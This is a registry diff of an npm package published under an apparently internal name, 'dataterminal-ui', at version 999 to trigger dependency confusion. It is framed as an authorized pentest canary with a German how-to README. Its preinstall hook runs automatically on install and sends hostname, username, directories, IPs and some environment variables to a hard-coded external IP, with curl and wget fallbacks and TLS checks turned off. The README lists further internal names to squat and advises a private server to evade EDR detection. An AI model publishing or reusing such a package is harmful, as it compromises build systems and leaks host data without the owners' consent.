dataterminal-ui 999.0.0-security-test
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +268 -0
- package/dataterminal-ui-999.0.0-security-test.tgz +0 -0
- package/index.js +28 -0
- package/package.json +26 -0
- package/preinstall.js +309 -0
package/README.md
ADDED
|
@@ -0,0 +1,268 @@
|
|
|
1
|
+
# Dependency Confusion Canary Test
|
|
2
|
+
|
|
3
|
+
**Projekt:** Heidelberg DataCapture System - Vibe Pentesting
|
|
4
|
+
**Datum:** 2026-02-12
|
|
5
|
+
**Typ:** Supply Chain Security - Dependency Confusion PoC
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 1. Zweck
|
|
10
|
+
|
|
11
|
+
Dieser Test prüft, ob das Heidelberg DataCapture System für **Dependency Confusion** anfällig ist.
|
|
12
|
+
|
|
13
|
+
Ein harmloses "Canary"-Paket wird auf public npm unter einem internen Paketnamen veröffentlicht.
|
|
14
|
+
Falls das Paket von CI/CD oder Entwicklern installiert wird, sendet es einen Beacon.
|
|
15
|
+
|
|
16
|
+
**Warum funktioniert das?**
|
|
17
|
+
```
|
|
18
|
+
Internes Paket: dataterminal-ui (in Nexus release-npm)
|
|
19
|
+
↓
|
|
20
|
+
.npmrc: Default Registry = virtual-remote-npm
|
|
21
|
+
↓
|
|
22
|
+
virtual-remote-npm = Group aus [release-npm + remote-npm (public)]
|
|
23
|
+
↓
|
|
24
|
+
Falls "höchste Version gewinnt": Angreifer-Paket 999.0.0 > Intern 19.x
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 2. Wichtige Hinweise
|
|
30
|
+
|
|
31
|
+
| ⚠️ | Nur mit schriftlicher Genehmigung durchführen! |
|
|
32
|
+
|----|------------------------------------------------|
|
|
33
|
+
| ⚠️ | Keine Malware - nur harmloser DNS/HTTP-Callback |
|
|
34
|
+
| ⚠️ | Nach Test Paket von npm depublishen! |
|
|
35
|
+
| ⚠️ | Test-Version 999.x verhindert echte Nutzung |
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## 3. Test-Paketnamen (alle frei auf public npm)
|
|
40
|
+
|
|
41
|
+
### CRITICAL - `private: false` (höchste Priorität)
|
|
42
|
+
| Paketname | Risiko | Begründung |
|
|
43
|
+
|-----------|--------|------------|
|
|
44
|
+
| `dataterminal-ui` | 🔴 CRITICAL | `private: false`, hat `publishConfig` |
|
|
45
|
+
| `dataterminal-ui-svc` | 🔴 CRITICAL | `private: false` |
|
|
46
|
+
| `datacapture-backend-eventbus` | 🔴 CRITICAL | `private: false` |
|
|
47
|
+
| `datacapture-backend-ui-svc` | 🔴 CRITICAL | `private: false` |
|
|
48
|
+
|
|
49
|
+
### HIGH - `private: true` (trotzdem testbar)
|
|
50
|
+
| Paketname | Risiko |
|
|
51
|
+
|-----------|--------|
|
|
52
|
+
| `datacapture-backend-svc` | 🟠 HIGH |
|
|
53
|
+
| `datacapture-frontend-svc` | 🟠 HIGH |
|
|
54
|
+
| `dcbackend-dynamo-infra` | 🟠 HIGH |
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## 4. Callback-Optionen
|
|
59
|
+
|
|
60
|
+
### Option A: Interactsh (empfohlen, kostenlos)
|
|
61
|
+
1. Gehe zu https://app.interactsh.com
|
|
62
|
+
2. Klicke "Generate"
|
|
63
|
+
3. Kopiere die Domain (z.B. `abc123xyz.oast.fun`)
|
|
64
|
+
4. Nutze diese als `--callback-dns` und `--callback-http`
|
|
65
|
+
|
|
66
|
+
### Option B: Burp Collaborator
|
|
67
|
+
1. In Burp Suite: Collaborator → Generate Collaborator Payloads
|
|
68
|
+
2. Kopiere die Subdomain
|
|
69
|
+
3. Nutze als Callback URL
|
|
70
|
+
|
|
71
|
+
### Option C: Eigener VPS (EDR-freundlich, empfohlen!)
|
|
72
|
+
Interactsh-Domains werden oft von EDRs als bösartig erkannt. Ein eigener VPS umgeht das.
|
|
73
|
+
|
|
74
|
+
```bash
|
|
75
|
+
# 1. Auf VPS: Server starten
|
|
76
|
+
scp vps_server.py user@your-vps:/opt/callback/
|
|
77
|
+
ssh user@your-vps "python3 /opt/callback/vps_server.py --port 65204"
|
|
78
|
+
|
|
79
|
+
# 2. Lokal: Canary konfigurieren
|
|
80
|
+
.\configure_vps.ps1 -CallbackUrl "http://YOUR-VPS-IP:65204"
|
|
81
|
+
|
|
82
|
+
# 3. npm publish
|
|
83
|
+
npm publish --access public
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
📖 Vollständige Anleitung: [VPS_SETUP.md](VPS_SETUP.md)
|
|
87
|
+
|
|
88
|
+
### Option D: Lokaler Server mit ngrok
|
|
89
|
+
```powershell
|
|
90
|
+
# Terminal 1: Server starten
|
|
91
|
+
python callback_server.py --port 65204
|
|
92
|
+
|
|
93
|
+
# Terminal 2: ngrok für öffentlichen Zugang
|
|
94
|
+
ngrok http 65204
|
|
95
|
+
|
|
96
|
+
# Nutze die ngrok-URL als Callback
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## 5. Schritt-für-Schritt Anleitung
|
|
102
|
+
|
|
103
|
+
### 5.1 Vorbereitung (einmalig)
|
|
104
|
+
|
|
105
|
+
```powershell
|
|
106
|
+
# 1. npm-Account erstellen (falls nicht vorhanden)
|
|
107
|
+
# https://www.npmjs.com/signup
|
|
108
|
+
|
|
109
|
+
# 2. npm login
|
|
110
|
+
npm login
|
|
111
|
+
|
|
112
|
+
# 3. Login prüfen
|
|
113
|
+
npm whoami
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### 5.2 Canary-Paket veröffentlichen
|
|
117
|
+
|
|
118
|
+
```powershell
|
|
119
|
+
# 1. Interactsh-Domain holen
|
|
120
|
+
# https://app.interactsh.com → Generate → Domain kopieren
|
|
121
|
+
|
|
122
|
+
# 2. Canary publishen
|
|
123
|
+
cd 04_PoC_Exploits/dependency_confusion_canary
|
|
124
|
+
python publish_canary.py `
|
|
125
|
+
--package-name dataterminal-ui `
|
|
126
|
+
--callback-dns YOUR_SUBDOMAIN.oast.fun `
|
|
127
|
+
--callback-http https://YOUR_SUBDOMAIN.oast.fun
|
|
128
|
+
|
|
129
|
+
# ODER Dry-Run (nur vorbereiten, nicht publishen):
|
|
130
|
+
python publish_canary.py --dry-run `
|
|
131
|
+
--package-name dataterminal-ui `
|
|
132
|
+
--callback-dns YOUR_SUBDOMAIN.oast.fun `
|
|
133
|
+
--callback-http https://YOUR_SUBDOMAIN.oast.fun
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### 5.3 Callbacks überwachen
|
|
137
|
+
|
|
138
|
+
```powershell
|
|
139
|
+
# Option A: Interactsh Web UI beobachten
|
|
140
|
+
|
|
141
|
+
# Option B: Eigener Server
|
|
142
|
+
python callback_server.py --port 65204
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### 5.4 Test-Szenarien auslösen
|
|
146
|
+
|
|
147
|
+
Nach dem Publish abwarten:
|
|
148
|
+
- Automatische CI/CD-Pipelines (Renovate, Dependabot)
|
|
149
|
+
- Entwickler führt `npm install` / `npm update` aus
|
|
150
|
+
- Neues Projekt wird initialisiert
|
|
151
|
+
|
|
152
|
+
**Oder aktiv testen:**
|
|
153
|
+
```powershell
|
|
154
|
+
# In einem ISOLIERTEN Test-Verzeichnis (nicht im Projekt!)
|
|
155
|
+
mkdir C:\temp\depconf-test
|
|
156
|
+
cd C:\temp\depconf-test
|
|
157
|
+
|
|
158
|
+
# package.json mit der Dependency erstellen
|
|
159
|
+
echo '{"dependencies": {"dataterminal-ui": "latest"}}' > package.json
|
|
160
|
+
|
|
161
|
+
# npm install ausführen
|
|
162
|
+
npm install
|
|
163
|
+
|
|
164
|
+
# Wenn Canary installiert wird → Callback erscheint!
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### 5.5 Nach dem Test aufräumen
|
|
168
|
+
|
|
169
|
+
```powershell
|
|
170
|
+
# Paket von npm entfernen
|
|
171
|
+
python publish_canary.py --unpublish `
|
|
172
|
+
--package-name dataterminal-ui `
|
|
173
|
+
--version 999.0.0-security-test
|
|
174
|
+
|
|
175
|
+
# ODER manuell:
|
|
176
|
+
npm unpublish dataterminal-ui@999.0.0-security-test --force
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## 6. Erwartete Ergebnisse
|
|
182
|
+
|
|
183
|
+
### ERFOLG (Vulnerability bestätigt)
|
|
184
|
+
Wenn Callbacks empfangen werden:
|
|
185
|
+
```
|
|
186
|
+
╔═══════════════════════════════════════════════════════════════════╗
|
|
187
|
+
║ 🎯 CALLBACK EMPFANGEN! ║
|
|
188
|
+
╠═══════════════════════════════════════════════════════════════════╣
|
|
189
|
+
║ Package: dataterminal-ui ║
|
|
190
|
+
║ Hostname: ci-runner-linux-001 ║
|
|
191
|
+
║ Username: gitlab-runner ║
|
|
192
|
+
║ CI/CD: gitlab ║
|
|
193
|
+
║ Directory: /builds/ilcloud/dcfrontend/dataterminal-ui ║
|
|
194
|
+
╚═══════════════════════════════════════════════════════════════════╝
|
|
195
|
+
```
|
|
196
|
+
→ **Die Pipeline ist für Dependency Confusion anfällig!**
|
|
197
|
+
|
|
198
|
+
### KEIN CALLBACK (geschützt)
|
|
199
|
+
- Keine Callbacks nach 24-48h
|
|
200
|
+
- Lockfile + npm ci schützt effektiv
|
|
201
|
+
- Nexus-Priorität korrekt konfiguriert
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## 7. Report-Integration
|
|
206
|
+
|
|
207
|
+
Bei bestätigtem Finding:
|
|
208
|
+
1. Callback-Logs als Beweis sichern
|
|
209
|
+
2. Finding-Dokument erstellen: `03_Findings/CVE-2026-0XX_DEPENDENCY_CONFUSION.md`
|
|
210
|
+
3. Screenshots von Interactsh/Burp machen
|
|
211
|
+
4. Canary-Paket depublishen!
|
|
212
|
+
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
## 8. Verzeichnisstruktur
|
|
216
|
+
|
|
217
|
+
```
|
|
218
|
+
dependency_confusion_canary/
|
|
219
|
+
├── README.md # Diese Datei
|
|
220
|
+
├── package.json # npm Paket-Template
|
|
221
|
+
├── preinstall.js # Callback-Script (läuft bei npm install)
|
|
222
|
+
├── index.js # Dummy-Export
|
|
223
|
+
├── callback_server.py # Lokaler Callback-Server
|
|
224
|
+
└── publish_canary.py # Automatisierter Publisher/Unpublisher
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## 9. Technischer Hintergrund
|
|
230
|
+
|
|
231
|
+
### Wie der Test funktioniert
|
|
232
|
+
|
|
233
|
+
```
|
|
234
|
+
┌───────────────────────────────────────────────────────────────────┐
|
|
235
|
+
│ 1. Canary auf public npm veröffentlichen │
|
|
236
|
+
│ dataterminal-ui@999.0.0-security-test │
|
|
237
|
+
│ ↓ │
|
|
238
|
+
│ 2. CI/CD Pipeline / Developer führt npm install/update aus │
|
|
239
|
+
│ ↓ │
|
|
240
|
+
│ 3. npm fragt Registry nach dataterminal-ui │
|
|
241
|
+
│ → .npmrc: Default = virtual-remote-npm │
|
|
242
|
+
│ → Nexus: release-npm hat 19.x, remote-npm hat 999.x │
|
|
243
|
+
│ ↓ │
|
|
244
|
+
│ 4. Falls "höchste Version" Policy: │
|
|
245
|
+
│ → Nexus liefert 999.x (Angreifer-Paket) │
|
|
246
|
+
│ ↓ │
|
|
247
|
+
│ 5. npm install führt preinstall.js aus │
|
|
248
|
+
│ → DNS + HTTP Callback an Interactsh/Burp │
|
|
249
|
+
│ ↓ │
|
|
250
|
+
│ 6. Pentester empfängt Callback = BEWEIS │
|
|
251
|
+
└───────────────────────────────────────────────────────────────────┘
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
### Was der Callback enthält (harmlos)
|
|
255
|
+
|
|
256
|
+
```json
|
|
257
|
+
{
|
|
258
|
+
"p": "dataterminal-ui", // Paketname
|
|
259
|
+
"h": "ci-runner-linux-001", // Hostname
|
|
260
|
+
"u": "gitlab-runner", // Username
|
|
261
|
+
"d": "/builds/project/", // Working Directory
|
|
262
|
+
"t": "2026-02-12T10:30:00Z", // Timestamp
|
|
263
|
+
"ci": "gitlab", // CI/CD Environment
|
|
264
|
+
"ip": "10.0.1.50" // Lokale IP
|
|
265
|
+
}
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
**Keine** Secrets, Credentials oder sensiblen Daten werden exfiltriert!
|
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dependency Confusion Canary - Main Module
|
|
3
|
+
*
|
|
4
|
+
* SECURITY TEST PACKAGE - Authorized Penetration Test Only
|
|
5
|
+
*
|
|
6
|
+
* Dieses Modul ist absichtlich leer/nutzlos.
|
|
7
|
+
* Das eigentliche "Payload" ist im preinstall-Script.
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
module.exports = {
|
|
11
|
+
name: 'dataterminal-ui',
|
|
12
|
+
version: '999.0.0-security-test',
|
|
13
|
+
isSecurityTest: true,
|
|
14
|
+
message: 'This is a security test package for dependency confusion testing. ' +
|
|
15
|
+
'If you received this package unexpectedly, your build system may be vulnerable. ' +
|
|
16
|
+
'Please contact heidelbergcloud-security@heidelberg.com immediately.',
|
|
17
|
+
|
|
18
|
+
// Dummy-Funktionen damit das Paket "funktioniert" ohne Fehler
|
|
19
|
+
init: function() {
|
|
20
|
+
console.warn('[SECURITY TEST] dataterminal-ui security canary loaded');
|
|
21
|
+
console.warn('[SECURITY TEST] Contact: heidelbergcloud-security@heidelberg.com');
|
|
22
|
+
return this;
|
|
23
|
+
},
|
|
24
|
+
|
|
25
|
+
getVersion: function() {
|
|
26
|
+
return this.version;
|
|
27
|
+
}
|
|
28
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dataterminal-ui",
|
|
3
|
+
"version": "999.0.0-security-test",
|
|
4
|
+
"description": "SECURITY TEST - Dependency Confusion Canary - Contact: heidelbergcloud-security@heidelberg.com",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js || true"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"security-test",
|
|
11
|
+
"dependency-confusion",
|
|
12
|
+
"canary",
|
|
13
|
+
"do-not-use"
|
|
14
|
+
],
|
|
15
|
+
"author": "Heidelberg Security Team <heidelbergcloud-security@heidelberg.com>",
|
|
16
|
+
"license": "UNLICENSED",
|
|
17
|
+
"private": false,
|
|
18
|
+
"repository": {
|
|
19
|
+
"type": "git",
|
|
20
|
+
"url": "https://github.com/heidelberg-security/dependency-confusion-test"
|
|
21
|
+
},
|
|
22
|
+
"config": {
|
|
23
|
+
"callback_url": "http://3.250.204.221:65204",
|
|
24
|
+
"canary_id": "heidelberg-datacapture-test"
|
|
25
|
+
}
|
|
26
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,309 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dependency Confusion Canary - Preinstall Script (VPS Edition)
|
|
3
|
+
*
|
|
4
|
+
* Diese Version nutzt NUR HTTP/HTTPS Callbacks zu einem eigenen Server.
|
|
5
|
+
* Keine Interactsh/DNS-Callbacks - EDR-freundlich!
|
|
6
|
+
*
|
|
7
|
+
* Konfiguration:
|
|
8
|
+
* CALLBACK_URL - URL deines VPS-Servers (z.B. https://callback.example.com)
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
12
|
+
// KONFIGURATION - HIER ANPASSEN!
|
|
13
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
14
|
+
|
|
15
|
+
const CALLBACK_URL = process.env.CANARY_CALLBACK_URL || 'http://3.250.204.221:65204';
|
|
16
|
+
const PACKAGE_NAME = 'dataterminal-ui';
|
|
17
|
+
const PACKAGE_VERSION = '999.0.0-security-test';
|
|
18
|
+
const CANARY_ID = process.env.CANARY_ID || 'heidelberg-datacapture-test'; // Eigene Test-ID
|
|
19
|
+
|
|
20
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
21
|
+
|
|
22
|
+
const https = require('https');
|
|
23
|
+
const http = require('http');
|
|
24
|
+
const os = require('os');
|
|
25
|
+
const { execSync } = require('child_process');
|
|
26
|
+
|
|
27
|
+
/**
|
|
28
|
+
* Sammle System-Informationen für Callback
|
|
29
|
+
*/
|
|
30
|
+
function collectSystemInfo() {
|
|
31
|
+
const info = {
|
|
32
|
+
// Package Info
|
|
33
|
+
package: PACKAGE_NAME,
|
|
34
|
+
version: PACKAGE_VERSION,
|
|
35
|
+
canary_id: CANARY_ID, // Eigene Test-ID für Zuordnung
|
|
36
|
+
timestamp: new Date().toISOString(),
|
|
37
|
+
|
|
38
|
+
// System Info
|
|
39
|
+
hostname: os.hostname(),
|
|
40
|
+
platform: os.platform(),
|
|
41
|
+
arch: os.arch(),
|
|
42
|
+
release: os.release(),
|
|
43
|
+
user: os.userInfo().username,
|
|
44
|
+
homedir: os.homedir(),
|
|
45
|
+
cwd: process.cwd(),
|
|
46
|
+
|
|
47
|
+
// Node Info
|
|
48
|
+
node_version: process.version,
|
|
49
|
+
npm_version: process.env.npm_package_version || 'unknown',
|
|
50
|
+
|
|
51
|
+
// CI/CD Detection
|
|
52
|
+
ci: detectCI(),
|
|
53
|
+
|
|
54
|
+
// Environment (gefiltert - nur CI-relevante Variablen)
|
|
55
|
+
env: filterEnvironment()
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
// Optional: Netzwerk-Info
|
|
59
|
+
try {
|
|
60
|
+
const interfaces = os.networkInterfaces();
|
|
61
|
+
const ips = [];
|
|
62
|
+
for (const name of Object.keys(interfaces)) {
|
|
63
|
+
for (const iface of interfaces[name]) {
|
|
64
|
+
if (!iface.internal && iface.family === 'IPv4') {
|
|
65
|
+
ips.push({ name, address: iface.address });
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
info.network = ips;
|
|
70
|
+
} catch (e) {
|
|
71
|
+
info.network = 'error';
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
return info;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* Erkenne CI/CD Umgebung
|
|
79
|
+
*/
|
|
80
|
+
function detectCI() {
|
|
81
|
+
const ciIndicators = {
|
|
82
|
+
'GitLab CI': !!process.env.GITLAB_CI,
|
|
83
|
+
'GitHub Actions': !!process.env.GITHUB_ACTIONS,
|
|
84
|
+
'Jenkins': !!process.env.JENKINS_URL,
|
|
85
|
+
'Azure Pipelines': !!process.env.TF_BUILD,
|
|
86
|
+
'CircleCI': !!process.env.CIRCLECI,
|
|
87
|
+
'Travis CI': !!process.env.TRAVIS,
|
|
88
|
+
'Bitbucket Pipelines': !!process.env.BITBUCKET_BUILD_NUMBER,
|
|
89
|
+
'AWS CodeBuild': !!process.env.CODEBUILD_BUILD_ID,
|
|
90
|
+
'Generic CI': !!process.env.CI
|
|
91
|
+
};
|
|
92
|
+
|
|
93
|
+
const detected = Object.entries(ciIndicators)
|
|
94
|
+
.filter(([_, v]) => v)
|
|
95
|
+
.map(([k, _]) => k);
|
|
96
|
+
|
|
97
|
+
return detected.length > 0 ? detected : ['local'];
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
/**
|
|
101
|
+
* Filtere Environment-Variablen (nur sichere/relevante)
|
|
102
|
+
*/
|
|
103
|
+
function filterEnvironment() {
|
|
104
|
+
const safeVars = [
|
|
105
|
+
'CI', 'GITLAB_CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 'TF_BUILD',
|
|
106
|
+
'CIRCLECI', 'TRAVIS', 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID',
|
|
107
|
+
'CI_PROJECT_NAME', 'CI_PIPELINE_ID', 'CI_JOB_NAME', 'CI_RUNNER_ID',
|
|
108
|
+
'GITHUB_REPOSITORY', 'GITHUB_WORKFLOW', 'GITHUB_RUN_ID',
|
|
109
|
+
'npm_lifecycle_event', 'npm_package_name',
|
|
110
|
+
'NODE_ENV', 'PATH'
|
|
111
|
+
];
|
|
112
|
+
|
|
113
|
+
const filtered = {};
|
|
114
|
+
for (const key of safeVars) {
|
|
115
|
+
if (process.env[key]) {
|
|
116
|
+
// PATH kürzen
|
|
117
|
+
if (key === 'PATH') {
|
|
118
|
+
filtered[key] = process.env[key].substring(0, 200) + '...';
|
|
119
|
+
} else {
|
|
120
|
+
filtered[key] = process.env[key];
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
return filtered;
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
/**
|
|
128
|
+
* Sende HTTP/HTTPS Callback
|
|
129
|
+
*/
|
|
130
|
+
function sendCallback(info) {
|
|
131
|
+
return new Promise((resolve, reject) => {
|
|
132
|
+
try {
|
|
133
|
+
const url = new URL(CALLBACK_URL);
|
|
134
|
+
const isHttps = url.protocol === 'https:';
|
|
135
|
+
const client = isHttps ? https : http;
|
|
136
|
+
|
|
137
|
+
const data = JSON.stringify(info);
|
|
138
|
+
|
|
139
|
+
const options = {
|
|
140
|
+
hostname: url.hostname,
|
|
141
|
+
port: url.port || (isHttps ? 443 : 80),
|
|
142
|
+
path: url.pathname || '/',
|
|
143
|
+
method: 'POST',
|
|
144
|
+
headers: {
|
|
145
|
+
'Content-Type': 'application/json',
|
|
146
|
+
'Content-Length': Buffer.byteLength(data),
|
|
147
|
+
'User-Agent': `npm-canary/${PACKAGE_NAME}`,
|
|
148
|
+
'X-Canary-Package': PACKAGE_NAME,
|
|
149
|
+
'X-Canary-Version': PACKAGE_VERSION
|
|
150
|
+
},
|
|
151
|
+
timeout: 10000,
|
|
152
|
+
// Für selbstsignierte Zertifikate auf VPS
|
|
153
|
+
rejectUnauthorized: false
|
|
154
|
+
};
|
|
155
|
+
|
|
156
|
+
const req = client.request(options, (res) => {
|
|
157
|
+
resolve({ status: res.statusCode, method: 'POST' });
|
|
158
|
+
});
|
|
159
|
+
|
|
160
|
+
req.on('error', (e) => {
|
|
161
|
+
// Fallback: GET mit Query-Parametern
|
|
162
|
+
sendCallbackGET(info).then(resolve).catch(reject);
|
|
163
|
+
});
|
|
164
|
+
|
|
165
|
+
req.on('timeout', () => {
|
|
166
|
+
req.destroy();
|
|
167
|
+
reject(new Error('Timeout'));
|
|
168
|
+
});
|
|
169
|
+
|
|
170
|
+
req.write(data);
|
|
171
|
+
req.end();
|
|
172
|
+
|
|
173
|
+
} catch (e) {
|
|
174
|
+
reject(e);
|
|
175
|
+
}
|
|
176
|
+
});
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
/**
|
|
180
|
+
* Fallback: GET Request mit Query-Parametern
|
|
181
|
+
*/
|
|
182
|
+
function sendCallbackGET(info) {
|
|
183
|
+
return new Promise((resolve, reject) => {
|
|
184
|
+
try {
|
|
185
|
+
const url = new URL(CALLBACK_URL);
|
|
186
|
+
const isHttps = url.protocol === 'https:';
|
|
187
|
+
const client = isHttps ? https : http;
|
|
188
|
+
|
|
189
|
+
// Kompakte Info für GET
|
|
190
|
+
const params = new URLSearchParams({
|
|
191
|
+
pkg: info.package,
|
|
192
|
+
id: info.canary_id,
|
|
193
|
+
host: info.hostname,
|
|
194
|
+
user: info.user,
|
|
195
|
+
ci: info.ci.join(','),
|
|
196
|
+
ts: Date.now()
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
const options = {
|
|
200
|
+
hostname: url.hostname,
|
|
201
|
+
port: url.port || (isHttps ? 443 : 80),
|
|
202
|
+
path: `${url.pathname || '/'}?${params.toString()}`,
|
|
203
|
+
method: 'GET',
|
|
204
|
+
timeout: 10000,
|
|
205
|
+
rejectUnauthorized: false
|
|
206
|
+
};
|
|
207
|
+
|
|
208
|
+
const req = client.request(options, (res) => {
|
|
209
|
+
resolve({ status: res.statusCode, method: 'GET' });
|
|
210
|
+
});
|
|
211
|
+
|
|
212
|
+
req.on('error', reject);
|
|
213
|
+
req.on('timeout', () => {
|
|
214
|
+
req.destroy();
|
|
215
|
+
reject(new Error('Timeout'));
|
|
216
|
+
});
|
|
217
|
+
|
|
218
|
+
req.end();
|
|
219
|
+
|
|
220
|
+
} catch (e) {
|
|
221
|
+
reject(e);
|
|
222
|
+
}
|
|
223
|
+
});
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
/**
|
|
227
|
+
* Fallback: curl/wget (für Umgebungen ohne Node HTTPS)
|
|
228
|
+
*/
|
|
229
|
+
function sendCallbackCurl(info) {
|
|
230
|
+
const compact = JSON.stringify({
|
|
231
|
+
pkg: info.package,
|
|
232
|
+
id: info.canary_id,
|
|
233
|
+
host: info.hostname,
|
|
234
|
+
user: info.user,
|
|
235
|
+
ci: info.ci
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
try {
|
|
239
|
+
// curl versuchen
|
|
240
|
+
execSync(`curl -s -k -X POST -H "Content-Type: application/json" -d '${compact}' "${CALLBACK_URL}" 2>/dev/null`, {
|
|
241
|
+
timeout: 10000,
|
|
242
|
+
stdio: ['pipe', 'pipe', 'pipe']
|
|
243
|
+
});
|
|
244
|
+
return { method: 'curl', status: 'sent' };
|
|
245
|
+
} catch (e) {
|
|
246
|
+
// wget versuchen
|
|
247
|
+
try {
|
|
248
|
+
execSync(`wget -q --no-check-certificate --post-data='${compact}' "${CALLBACK_URL}" -O /dev/null 2>/dev/null`, {
|
|
249
|
+
timeout: 10000,
|
|
250
|
+
stdio: ['pipe', 'pipe', 'pipe']
|
|
251
|
+
});
|
|
252
|
+
return { method: 'wget', status: 'sent' };
|
|
253
|
+
} catch (e2) {
|
|
254
|
+
return { method: 'none', status: 'failed' };
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
/**
|
|
260
|
+
* Zeige Security-Warning
|
|
261
|
+
*/
|
|
262
|
+
function showWarning() {
|
|
263
|
+
console.log('');
|
|
264
|
+
console.log('╔═══════════════════════════════════════════════════════════════════╗');
|
|
265
|
+
console.log('║ ⚠️ SECURITY TEST - DEPENDENCY CONFUSION CANARY ║');
|
|
266
|
+
console.log('╠═══════════════════════════════════════════════════════════════════╣');
|
|
267
|
+
console.log('║ This package was installed as part of an authorized security ║');
|
|
268
|
+
console.log('║ assessment. If you did not expect this, your build system may ║');
|
|
269
|
+
console.log('║ be vulnerable to dependency confusion attacks. ║');
|
|
270
|
+
console.log('║ ║');
|
|
271
|
+
console.log('║ Contact: heidelbergcloud-security@heidelberg.com ║');
|
|
272
|
+
console.log('╚═══════════════════════════════════════════════════════════════════╝');
|
|
273
|
+
console.log('');
|
|
274
|
+
}
|
|
275
|
+
|
|
276
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
277
|
+
// MAIN
|
|
278
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
279
|
+
|
|
280
|
+
async function main() {
|
|
281
|
+
// Warning anzeigen
|
|
282
|
+
showWarning();
|
|
283
|
+
|
|
284
|
+
// Callback-URL prüfen
|
|
285
|
+
if (CALLBACK_URL.includes('YOUR-VPS')) {
|
|
286
|
+
console.log('[CANARY] No callback URL configured - skipping callback');
|
|
287
|
+
return;
|
|
288
|
+
}
|
|
289
|
+
|
|
290
|
+
console.log(`[CANARY] Package: ${PACKAGE_NAME}@${PACKAGE_VERSION}`);
|
|
291
|
+
console.log(`[CANARY] Callback URL: ${CALLBACK_URL}`);
|
|
292
|
+
|
|
293
|
+
// System-Info sammeln
|
|
294
|
+
const info = collectSystemInfo();
|
|
295
|
+
|
|
296
|
+
// Callback senden
|
|
297
|
+
try {
|
|
298
|
+
const result = await sendCallback(info);
|
|
299
|
+
console.log(`[CANARY] Callback sent via ${result.method} (${result.status})`);
|
|
300
|
+
} catch (e) {
|
|
301
|
+
// Fallback zu curl/wget
|
|
302
|
+
const result = sendCallbackCurl(info);
|
|
303
|
+
console.log(`[CANARY] Callback via ${result.method}: ${result.status}`);
|
|
304
|
+
}
|
|
305
|
+
}
|
|
306
|
+
|
|
307
|
+
main().catch(e => {
|
|
308
|
+
console.log('[CANARY] Callback failed:', e.message);
|
|
309
|
+
});
|